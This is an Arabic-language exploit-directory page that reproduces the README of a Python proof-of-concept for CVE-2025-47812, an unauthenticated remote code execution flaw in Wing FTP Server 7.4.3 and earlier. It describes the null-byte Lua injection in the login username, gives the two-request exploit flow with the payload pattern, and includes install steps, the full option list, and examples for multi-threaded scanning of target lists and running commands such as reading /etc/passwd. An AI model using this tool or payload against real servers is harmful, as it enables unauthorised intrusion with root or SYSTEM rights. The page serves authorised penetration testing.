Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-471812-POC — Python PoC لـ CVE-2025-47812، RCE غير مصادق عليه في Wing FTP Server <= 7.4.3 عبر حقن NULL-byte Lua في ملفات الجلسة | Kitploit
أدوات/GitHubGitHub/d3vn0mi/cve-2025-471812-poc
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالفريق الأحمر
GitHubd3vn0mi/cve-2025-471812-poc

CVE-2025-471812-POC

Python PoC لـ CVE-2025-47812، RCE غير مصادق عليه في Wing FTP Server <= 7.4.3 عبر حقن NULL-byte Lua في ملفات الجلسة

عرض المستودع
منذ 5 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
root@kitploit:~
     ____  _______   ___   __ ____  __  ___ ____
    / __ \|__  /  | / / | / / __ \/  |/  // _/
   / / / / /_ <| | / /| |/ / / / / /|_/ / / /
  / /_/ /___/ /| |/ / |   / /_/ / /  / /_/ /
 /_____/____/ |___/  |_/  \____/_/  /_/____/

CVE-2025-47812 — Wing FTP Server <= 7.4.3 ثغرة تنفيذ كود عن بعد بدون مصادقة

أداة إثبات المفهوم لـ CVE-2025-47812، وهي ثغرة تنفيذ كود عن بعد بدون مصادقة في خادم Wing FTP الإصدارات الأقدم من 7.4.4.

نظرة عامة على الثغرة

الحقلالتفاصيل
CVECVE-2025-47812
المتأثرWing FTP Server <= 7.4.3
النوعتنفيذ كود عن بعد بدون مصادقة
الصلاحياتroot (Linux) / SYSTEM (Windows)
المطورwftpserver.com
المؤلف الأصليSheikh Mohammad Hasan المعروف بـ 4m3rr0r
تم التعديل بواسطةd3vn0mi

السبب الجذري

دالة c_CheckUser() في خادم Wing FTP تقطع اسم المستخدم عند البايت الصفري (%00) لأغراض المصادقة، ولكن اسم المستخدم الكامل غير المنقى — بما في ذلك كل ما بعد البايت الصفري — يُكتب في ملف جلسة Lua. عند الوصول إلى نقطة نهاية مصادق عليها مثل /dir.html، يقوم الخادم بتنفيذ ملف الجلسة ذلك، مما يؤدي إلى تنفيذ كود Lua المحقون بصلاحيات مرتفعة.

سير الاستغلال

root@kitploit:~
1. POST /loginok.html
   username=anonymous%00]]<LUA_PAYLOAD>&password=

2. يقوم الخادم بمصادقة "anonymous" (مقطوع عند البايت الصفري)
   ولكنه يكتب الحمولة الكاملة في ملف الجلسة → يعيد ملف تعريف ارتباط UID

3. GET /dir.html  (Cookie: UID=<extracted_uid>)
   يقوم الخادم بتحميل ملف الجلسة → تنفيذ Lua المحقون → تنفيذ أوامر عن بعد

التثبيت

root@kitploit:~
git clone https://github.com/d3vn0mi/cve_2025_471812_poc.git
cd cve_2025_471812_poc
pip install requests

الاستخدام

فحص سريع للثغرة

root@kitploit:~
python3 exploit.py -u http://TARGET

تنفيذ أمر

root@kitploit:~
python3 exploit.py -u http://TARGET -c 'id'

مسح أهداف متعددة من ملف

root@kitploit:~
python3 exploit.py -f targets.txt -o vulnerable.txt -t 8

الخيارات الكاملة

root@kitploit:~
usage: exploit.py [-h] [-u URL] [-f FILE] [-c COMMAND] [-U USERNAME]
                  [-P PASSWORD] [-v] [-o OUTPUT] [-l LOG_FILE]
                  [-t THREADS] [--timeout TIMEOUT] [--retries RETRIES]
                  [--no-verify]

target:
  -u, --url URL           Single target URL (e.g. http://192.168.134.130)
  -f, --file FILE         File containing target URLs (one per line, # comments allowed)

exploit options:
  -c, --command COMMAND   Command to execute on the remote server (enables verbose output)
  -U, --username USERNAME Username for the exploit payload (default: anonymous)
  -P, --password PASSWORD Password for the exploit payload (default: empty)

output:
  -v, --verbose           Enable verbose / debug logging
  -o, --output OUTPUT     Save vulnerable URLs to this file
  -l, --log-file LOG_FILE Write detailed log to this file

network:
  -t, --threads THREADS   Concurrent threads for multi-target scans (default: 1)
  --timeout TIMEOUT       HTTP request timeout in seconds (default: 15)
  --retries RETRIES       Number of retries on connection failure (default: 2)
  --no-verify             Disable SSL certificate verification

أمثلة

root@kitploit:~
# فحص هدف واحد
python3 exploit.py -u http://192.168.1.10

# تشغيل 'whoami' وعرض المخرجات الكاملة
python3 exploit.py -u http://192.168.1.10 -c 'whoami'

# مسح قائمة بـ 8 سلاسل، تسجيل كل شيء في ملف
python3 exploit.py -f targets.txt -t 8 -l scan.log -o vuln.txt

# استخدام بيانات اعتماد مخصصة مع تعطيل التحقق من SSL
python3 exploit.py -u https://10.0.0.5 -U admin -P secret -c 'cat /etc/passwd' --no-verify

# الوضع المفصل لتصحيح الأخطاء
python3 exploit.py -u http://192.168.1.10 -v

الميزات

  • تسجيل منظم — مخرجات وحدة تحكم ملونة (DEBUG/INFO/WARN/ERROR) + تسجيل اختياري في ملف عبر --log-file
  • مسح متعدد الخيوط — مسح متوازٍ للأهداف باستخدام -t لقوائم أهداف كبيرة
  • إعادة المحاولة مع التراجع — تراجع أسي تلقائي عند فشل الشبكة (يمكن تكوين --retries)
  • مرونة SSL — --no-verify للشهادات الموقعة ذاتياً
  • مسح دفعي — ملفات الأهداف تدعم تعليقات # وإزالة التكرار التلقائي
  • مخرجات نظيفة — وضع فحص الثغرات يعطي نتيجة بسيطة VULNERABLE/NOT VULNERABLE؛ -c يظهر مخرجات الأمر كاملة

إخلاء مسؤولية

هذه الأداة مقدمة لأغراض اختبار الأمان المصرح به والتعليم فقط. استخدمها فقط ضد أنظمة تمتلكها أو لديك إذن كتابي صريح لاختبارها. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. المؤلفون غير مسؤولين عن أي استخدام خاطئ أو ضرر ناتج عن هذه الأداة.

الإسناد

  • الأداة الأصلية بواسطة 4m3rr0r
  • تم تعديلها وتحسينها بواسطة d3vn0mi
تنزيل الأداة